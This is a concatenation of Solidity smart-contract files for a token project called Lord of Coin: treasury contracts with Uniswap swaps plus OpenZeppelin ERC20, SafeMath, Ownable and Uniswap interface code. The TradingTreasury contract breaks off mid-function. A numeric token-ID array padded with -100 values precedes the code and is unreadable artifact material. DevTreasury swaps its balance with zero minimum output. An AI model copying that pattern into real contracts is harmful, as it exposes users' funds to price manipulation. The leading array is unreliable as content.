[ 1, 565, 445, 2319, 12, 45, 654, 39, 3462, 1147, 16, 1758, 8027, 13, 203, 3639, 1071, 203, 3639, 1476, 203, 3639, 1135, 261, 11890, 5034, 13, 203, 565, 288, 203, 3639, 327, 425, 1303, 329, 12, 2316, 16, 8027, 2934, 1717, 24899, 1918, 9446, 82, 63, 2316, 6362, 20367, 19226, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./uniswapv2/interfaces/IUniswapV2Router02.sol"; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract DevTreasury is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; /// @dev Developer wallet address payable public devWallet; /// @dev SDVD contract address address public sdvd; /// @dev Uniswap router IUniswapV2Router02 uniswapRouter; /// @dev Uniswap factory IUniswapV2Factory uniswapFactory; /// @dev WETH address address weth; /// @dev Uniswap LP address address public pairAddress; /// @notice Release balance every 1 hour to dev wallet uint256 public releaseThreshold = 1 hours; /// @dev Last release timestamp uint256 public releaseTime; constructor (address _uniswapRouter, address _sdvd) public { // Set dev wallet devWallet = msg.sender; // Set uniswap router uniswapRouter = IUniswapV2Router02(_uniswapRouter); // Set uniswap factory uniswapFactory = IUniswapV2Factory(uniswapRouter.factory()); // Get weth address weth = uniswapRouter.WETH(); // Set SDVD address sdvd = _sdvd; // Approve uniswap router to spend sdvd IERC20(sdvd).approve(_uniswapRouter, uint256(- 1)); // Set initial release time releaseTime = block.timestamp; } /* ========== Owner Only ========== */ function init() external onlyOwner { // Get pair address after init because we wait until pair created in lord of coin pairAddress = uniswapFactory.getPair(sdvd, weth); // Renounce ownership immediately after init renounceOwnership(); } /* ========== Mutative ========== */ /// @notice Release SDVD to market regardless the price so dev doesn't own any SDVD from 0.5% fee. /// This is to protect SDVD holders. function release() external { _release(); } /* ========== Internal ========== */ function _release() internal { if (releaseTime.add(releaseThreshold) <= block.timestamp) { // Update release time releaseTime = block.timestamp; // Get SDVD balance uint256 sdvdBalance = IERC20(sdvd).balanceOf(address(this)); // If there is SDVD in this contract // and there is enough liquidity to swap if (sdvdBalance > 0 && IERC20(sdvd).balanceOf(pairAddress) >= sdvdBalance) { address[] memory path = new address[](2); path[0] = sdvd; path[1] = weth; // Swap SDVD to ETH on uniswap // uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( sdvdBalance, 0, path, devWallet, block.timestamp.add(30 minutes) ); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: Unlicensed pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // SPDX-License-Identifier: Unlicensed pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: Unlicensed pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; import '@openzeppelin/contracts/token/ERC20/ERC20.sol'; import '@openzeppelin/contracts/token/ERC20/SafeERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; import '@openzeppelin/contracts/access/Ownable.sol'; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./uniswapv2/interfaces/IUniswapV2Router02.sol"; import "./uniswapv2/interfaces/IWETH.sol"; import "./interfaces/ILordOfCoin.sol"; import "./interfaces/IBPool.sol"; /// @dev Ownable is used because solidity complain trying to deploy a contract whose code is too large when everything is added into Lord of Coin contract. /// The only owner function is `init` which is to setup for the first time after deployment. /// After init finished, owner will be renounced automatically. owner() function will return 0x0 address. contract TradingTreasury is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event Received(address indexed from, uint256 amount); /// @dev Lord of coin address address public controller; /// @dev Uniswap router IUniswapV2Router02 uniswapRouter; /// @dev Uniswap factory IUniswapV2Factory uniswapFactory; /// @dev Balancer pool WETH-MUSD address balancerPool; /// @dev WETH address address weth; /// @dev mUSD contract address address musd; /// @dev SDVD contract address address public sdvd; /// @dev Uniswap LP address address public pairAddress; /// @notice Release balance as sharing pool profit every 1 hour uint256 public releaseThreshold = 1 hours; /// @dev Last release timestamp uint256 public releaseTime; constructor (address _uniswapRouter, address _balancerPool, address _sdvd, address _musd) public { // Set uniswap router uniswapRouter = IUniswapV2Router02(_uniswapRouter); // Set uniswap factory uniswapFactory = IUniswapV2Factory(uniswapRouter.factory()); // Get weth address weth = uniswapRouter.WETH(); // Set balancer pool balancerPool = _balancerPool; // Set SDVD address sdvd = _sdvd; // Set mUSD address musd = _musd; // Approve uniswap to spend SDVD IERC20(sdvd).approve(_uniswapRouter, uint256(- 1)); // Approve balancer to spend WETH IERC20(weth).approve(balancerPool, uint256(- 1)); // Set initial release time releaseTime = block.timestamp; } receive() external payable { emit Received(msg.sender, msg.value); } /* ========== Owner Only ========== */ function init(address _controller) external onlyOwner { // Set Lord of coin address controller = _controller; // Get pair address pairAddress = ILordOfCoin(controller).sdvdEthPairAddress(); // Renounce ownership immediately after init 